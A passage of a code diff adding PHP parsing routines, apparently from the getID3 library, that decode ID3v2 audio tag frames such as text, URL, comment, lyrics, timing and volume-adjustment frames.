+						$info['warning'][] = 'gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"';
+					}
+				}
+			}
+		}
+
+		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
+			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
+				$info['warning'][] = 'ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data';
+			}
+		}
+
+		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {
+
+			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
+			switch ($parsedFrame['frame_name']) {
+				case 'WCOM':
+					$warning .= ' (this is known to happen with files tagged by RioPort)';
+					break;
+
+				default:
+					break;
+			}
+			$info['warning'][] = $warning;
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
+			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
+			//   There may be more than one 'UFID' frame in a tag,
+			//   but only one with the same 'Owner identifier'.
+			// <Header for 'Unique file identifier', ID: 'UFID'>
+			// Owner identifier        <text string> $00
+			// Identifier              <up to 64 bytes binary data>
+			$exploded = explode("\x00", $parsedFrame['data'], 2);
+			$parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : '');
+			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
+			//   There may be more than one 'TXXX' frame in each tag,
+			//   but only one with the same description.
+			// <Header for 'User defined text information frame', ID: 'TXXX'>
+			// Text encoding     $xx
+			// Description       <text string according to encoding> $00 (00)
+			// Value             <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['description'] = $frame_description;
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
+				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
+					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
+				} else {
+					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
+				}
+			}
+			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain
+
+
+		} elseif ($parsedFrame['frame_name']{0} == 'T') { // 4.2. T??[?] Text information frame
+			//   There may only be one text information frame of its kind in an tag.
+			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
+			// excluding 'TXXX' described in 4.2.6.>
+			// Text encoding                $xx
+			// Information                  <text string(s) according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+
+			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
+
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
+				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
+				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
+				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
+				switch ($parsedFrame['encoding']) {
+					case 'UTF-16':
+					case 'UTF-16BE':
+					case 'UTF-16LE':
+						$wordsize = 2;
+						break;
+					case 'ISO-8859-1':
+					case 'UTF-8':
+					default:
+						$wordsize = 1;
+						break;
+				}
+				$Txxx_elements = array();
+				$Txxx_elements_start_offset = 0;
+				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
+					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
+						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
+						$Txxx_elements_start_offset = $i + $wordsize;
+					}
+				}
+				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
+				foreach ($Txxx_elements as $Txxx_element) {
+					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
+					if (!empty($string)) {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
+					}
+				}
+				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
+			}
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
+			//   There may be more than one 'WXXX' frame in each tag,
+			//   but only one with the same description
+			// <Header for 'User defined URL link frame', ID: 'WXXX'>
+			// Text encoding     $xx
+			// Description       <text string according to encoding> $00 (00)
+			// URL               <text string>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			if ($frame_terminatorpos) {
+				// there are null bytes after the data - this is not according to spec
+				// only use data up to first null byte
+				$frame_urldata = (string) substr($parsedFrame['data'], 0, $frame_terminatorpos);
+			} else {
+				// no null bytes following data, just use all data
+				$frame_urldata = (string) $parsedFrame['data'];
+			}
+
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['url']         = $frame_urldata;
+			$parsedFrame['description'] = $frame_description;
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['url']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ($parsedFrame['frame_name']{0} == 'W') { // 4.3. W??? URL link frames
+			//   There may only be one URL link frame of its kind in a tag,
+			//   except when stated otherwise in the frame description
+			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
+			// described in 4.3.2.>
+			// URL              <text string>
+
+			$parsedFrame['url'] = trim($parsedFrame['data']);
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['url'];
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
+			// http://id3.org/id3v2.3.0#sec4.4
+			//   There may only be one 'IPL' frame in each tag
+			// <Header for 'User defined URL link frame', ID: 'IPL'>
+			// Text encoding     $xx
+			// People list strings    <textstrings>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
+			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);
+
+			// http://www.getid3.org/phpBB3/viewtopic.php?t=1369
+			// "this tag typically contains null terminated strings, which are associated in pairs"
+			// "there are users that use the tag incorrectly"
+			$IPLS_parts = array();
+			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
+				$IPLS_parts_unsorted = array();
+				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
+					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
+					$thisILPS  = '';
+					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
+						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
+						if ($twobytes === "\x00\x00") {
+							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
+							$thisILPS  = '';
+						} else {
+							$thisILPS .= $twobytes;
+						}
+					}
+					if (strlen($thisILPS) > 2) { // 2-byte BOM
+						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
+					}
+				} else {
+					// ISO-8859-1 or UTF-8 or other single-byte-null character set
+					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
+				}
+				if (count($IPLS_parts_unsorted) == 1) {
+					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
+						$position = '';
+						foreach ($IPLS_parts_sorted as $person) {
+							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
+						}
+					}
+				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
+					$position = '';
+					$person   = '';
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						if (($key % 2) == 0) {
+							$position = $value;
+						} else {
+							$person   = $value;
+							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
+							$position = '';
+							$person   = '';
+						}
+					}
+				} else {
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						$IPLS_parts[] = array($value);
+					}
+				}
+
+			} else {
+				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
+			}
+			$parsedFrame['data'] = $IPLS_parts;
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
+			}
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
+			//   There may only be one 'MCDI' frame in each tag
+			// <Header for 'Music CD identifier', ID: 'MCDI'>
+			// CD TOC                <binary data>
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
+			}
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
+			//   There may only be one 'ETCO' frame in each tag
+			// <Header for 'Event timing codes', ID: 'ETCO'>
+			// Time stamp format    $xx
+			//   Where time stamp format is:
+			// $01  (32-bit value) MPEG frames from beginning of file
+			// $02  (32-bit value) milliseconds from beginning of file
+			//   Followed by a list of key events in the following format:
+			// Type of event   $xx
+			// Time stamp      $xx (xx ...)
+			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
+			//   or after the previous event. All events MUST be sorted in chronological order.
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
+				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
+				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+				$frame_offset += 4;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
+			//   There may only be one 'MLLT' frame in each tag
+			// <Header for 'Location lookup table', ID: 'MLLT'>
+			// MPEG frames between reference  $xx xx
+			// Bytes between reference        $xx xx xx
+			// Milliseconds between reference $xx xx xx
+			// Bits for bytes deviation       $xx
+			// Bits for milliseconds dev.     $xx
+			//   Then for every reference the following data is included;
+			// Deviation in bytes         %xxx....
+			// Deviation in milliseconds  %xxx....
+
+			$frame_offset = 0;
+			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
+			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
+			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
+			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
+			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
+			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			}
+			$reference_counter = 0;
+			while (strlen($deviationbitstream) > 0) {
+				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
+				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
+				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
+				$reference_counter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
+				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
+			//   There may only be one 'SYTC' frame in each tag
+			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
+			// Time stamp format   $xx
+			// Tempo data          <binary data>
+			//   Where time stamp format is:
+			// $01  (32-bit value) MPEG frames from beginning of file
+			// $02  (32-bit value) milliseconds from beginning of file
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$timestamp_counter = 0;
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
+					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				}
+				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+				$frame_offset += 4;
+				$timestamp_counter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {     // 4.9   ULT  Unsynchronised lyric/text transcription
+			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
+			//   in each tag, but only one with the same language and content descriptor.
+			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// Content descriptor   <text string according to encoding> $00 (00)
+			// Lyrics/text          <full text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+
+			$parsedFrame['encodingid']   = $frame_textencoding;
+			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['data']         = $parsedFrame['data'];
+			$parsedFrame['language']     = $frame_language;
+			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+			$parsedFrame['description']  = $frame_description;
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
+			//   There may be more than one 'SYLT' frame in each tag,
+			//   but only one with the same language and content descriptor.
+			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// Time stamp format    $xx
+			//   $01  (32-bit value) MPEG frames from beginning of file
+			//   $02  (32-bit value) milliseconds from beginning of file
+			// Content type         $xx
+			// Content descriptor   <text string according to encoding> $00 (00)
+			//   Terminated text to be synced (typically a syllable)
+			//   Sync identifier (terminator to above string)   $00 (00)
+			//   Time stamp                                     $xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
+			$parsedFrame['encodingid']      = $frame_textencoding;
+			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['language']        = $frame_language;
+			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);
+
+			$timestampindex = 0;
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
+			while (strlen($frame_remainingdata)) {
+				$frame_offset = 0;
+				$frame_terminatorpos = strpos($frame_remainingdata, $this->TextEncodingTerminatorLookup($frame_textencoding));
+				if ($frame_terminatorpos === false) {
+					$frame_remainingdata = '';
+				} else {
+					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+					}
+					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);
+
+					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+					if (($timestampindex == 0) && (ord($frame_remainingdata{0}) != 0)) {
+						// timestamp probably omitted for first data item
+					} else {
+						$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
+						$frame_remainingdata = substr($frame_remainingdata, 4);
+					}
+					$timestampindex++;
+				}
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
+			//   There may be more than one comment frame in each tag,
+			//   but only one with the same language and content descriptor.
+			// <Header for 'Comment', ID: 'COMM'>
+			// Text encoding          $xx
+			// Language               $xx xx xx
+			// Short content descrip. <text string according to encoding> $00 (00)
+			// The actual text        <full text string according to encoding>
+
+			if (strlen($parsedFrame['data']) < 5) {
+
+				$info['warning'][] = 'Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset'];
+
+			} else {
+
+				$frame_offset = 0;
+				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+					$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+				}
+				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+				$frame_offset += 3;
+				$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+				}
+				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (ord($frame_description) === 0) {
+					$frame_description = '';
+				}
+				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+
+				$parsedFrame['encodingid']   = $frame_textencoding;
+				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+				$parsedFrame['language']     = $frame_language;
+				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+				$parsedFrame['description']  = $frame_description;
+				$parsedFrame['data']         = $frame_text;
+				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
+					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+					} else {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+					}
+				}
+
+			}
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
+			//   There may be more than one 'RVA2' frame in each tag,
+			//   but only one with the same identification string
+			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
+			// Identification          <text string> $00
+			//   The 'identification' string is used to identify the situation and/or
+			//   device where this adjustment should apply. The following is then
+			//   repeated for every channel:
+			// Type of channel         $xx
+			// Volume adjustment       $xx xx
+			// Bits representing peak  $xx
+			// Peak volume             $xx (xx ...)
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
+			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
+			if (ord($frame_idstring) === 0) {
+				$frame_idstring = '';
+			}
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
+			$parsedFrame['description'] = $frame_idstring;
+			$RVA2channelcounter = 0;
+			while (strlen($frame_remainingdata) >= 5) {
+				$frame_offset = 0;
+				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
+				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
+				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
+				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
+				$frame_offset += 2;
+				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
+				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
+					$info['warning'][] = 'ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value';
+					break;
+				}
+				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
+				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
